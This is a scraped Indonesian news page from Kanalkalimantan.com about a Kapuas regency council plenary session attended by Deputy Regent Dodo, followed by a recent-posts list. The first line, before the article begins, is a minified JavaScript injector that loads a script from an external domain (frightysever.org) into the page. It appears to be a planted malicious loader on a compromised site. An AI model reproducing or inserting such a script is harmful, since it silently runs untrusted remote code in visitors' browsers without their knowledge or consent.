(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Hadiri Rapat Paripurna, Wabup Dodo : Sinergi DPRD dengan Pemerintah Daerah


KANALKALIMANTAN.COM, KUALA KAPUAS – Wakil Bupati Kapuas, Dodo menghadiri Rapat Paripurna Ke-10 Masa Persidangan III Tahun Sidang 2026 dengan empat agenda sekaligus, Selasa (6/1/2026).

Rapat paripurna dipimpin oleh Wakil Ketua II DPRD Kapuas, Berinto diikuti anggota dewan lainnya.

Dalam rapat paripurna membahas penyampaian hasil reses perorangan anggota DPRD sesuai dengan daerah pemilihan masing-masing, mengumumkan nama-nama Panitia Khusus (Pansus) Laporan Hasil Pemeriksaan (LHP) Badan Pemeriksa Keuangan Republik Indonesia (BPK RI), penyampaian laporan kegiatan DPRD Masa Persidangan III Tahun Sidang 2025, serta penyampaian keputusan tentang perubahan penetapan dan pengesahan susunan Fraksi Partai Kebangkitan Bangsa (PKB) DPRD Kabupaten Kapuas.

Baca juga: Tidur Bertahan Hidup di Atas Apar-Apar, Banjir Kabupaten Banjar Meluas

Rapat paripurna pertama diawali menyampaikan laporan kegiatan DPRD selama masa persidangan III Tahun Sidang 2025, sebagai bentuk akuntabilitas kinerja lembaga legislatif dalam menjalankan fungsi legislasi, anggaran, dan pengawasan.

Wakil Bupati Kapuas Dodo membacakan sambutan Bupati Kapuas menekankan pentingnya sinergi antara DPRD dan pemerintah daerah dalam menindaklanjuti hasil reses sebagai dasar penyusunan kebijakan pembangunan daerah.

“Saya mengharapkan hasil kegiatan tersebut dapat menjadi bahan dan masukan bagi DPRD bersama pemerintah daerah untuk menyusun langkah strategis dan rencana kebijakan ke depan, sehingga aspirasi masyarakat dapat terakomodasi dan dilaksanakan,” kata Dodo.

Wakil Bupati Kapuas menegaskan bahwa kegiatan reses merupakan bagian penting dari fungsi perwakilan DPRD dalam menyerap aspirasi masyarakat serta sebagai bentuk pertanggungjawaban moral dan politis kepada konstituen.

Baca juga: Banjir Meluas, Pemkab Banjar Perpanjang Status Tanggap Darurat 

“Reses merupakan sarana penting bagi anggota DPRD dalam menyerap dan menindaklanjuti aspirasi masyarakat, sehingga menjadi masukan bagi perbaikan dan percepatan pembangunan di Kabupaten Kapuas,” ujarnya.

Melalui pelaksanaan rapat paripurna ini, Pemkab Kapuas berharap terjalinnya sinergi yang semakin kuat antara eksekutif dan legislatif dalam mewujudkan pembangunan daerah yang responsif terhadap kebutuhan masyarakat serta berorientasi pada kepentingan publik. (Kanalkalimantan.com/ags)

Reporter: ags
Editor: kk


Risa

Recent Posts

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

3 jam ago

Jadi UMP Tertinggi, Segini Rincian UMP dan UMK Kalimantan Utara 2026, Naik 5,45%!

Upah Minimum Provinsi (UMP) Kalimantan Utara tahun 2026 telah resmi ditetapkan melalui Keputusan Gubernur Kalimantan… Read More

4 jam ago

Kanalkalimantan Peduli Antar Bantuan untuk Guru MI Nurul Fata dan RT 02 Antasan Senor Ilir

KANALKALIMANTAN.COM, MARTAPURA – Banjir memukul semua lini, tak hanya menenggelamkan rumah warga, para pengajar salah… Read More

6 jam ago

PMI Balangan Gerak Cepat Salurkan Bantuan Banjir

KANALKALIMANTAN.COM, PARINGIN - Palang Merah Indonesia (PMI) Kabupaten Balangan bergerak cepat menjemput bantuan logistik ke… Read More

8 jam ago

Danantara Bangun Huntara di Aceh Tamiang, PLN Sambung Listrik Rumah dan Fasum

KANALKALIMANTAN.COM, BANDA ACEH - PT PLN (Persero) terus mendukung percepatan pembangunan Rumah Hunian Sementara (Huntara)… Read More

8 jam ago

Pemkab Kapuas Salurkan Bantuan Kemanusiaan Lewat APKASI

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menyalurkan bantuan kemanusiaan bagi masyarakat terdampak bencana banjir… Read More

19 jam ago

This website uses cookies.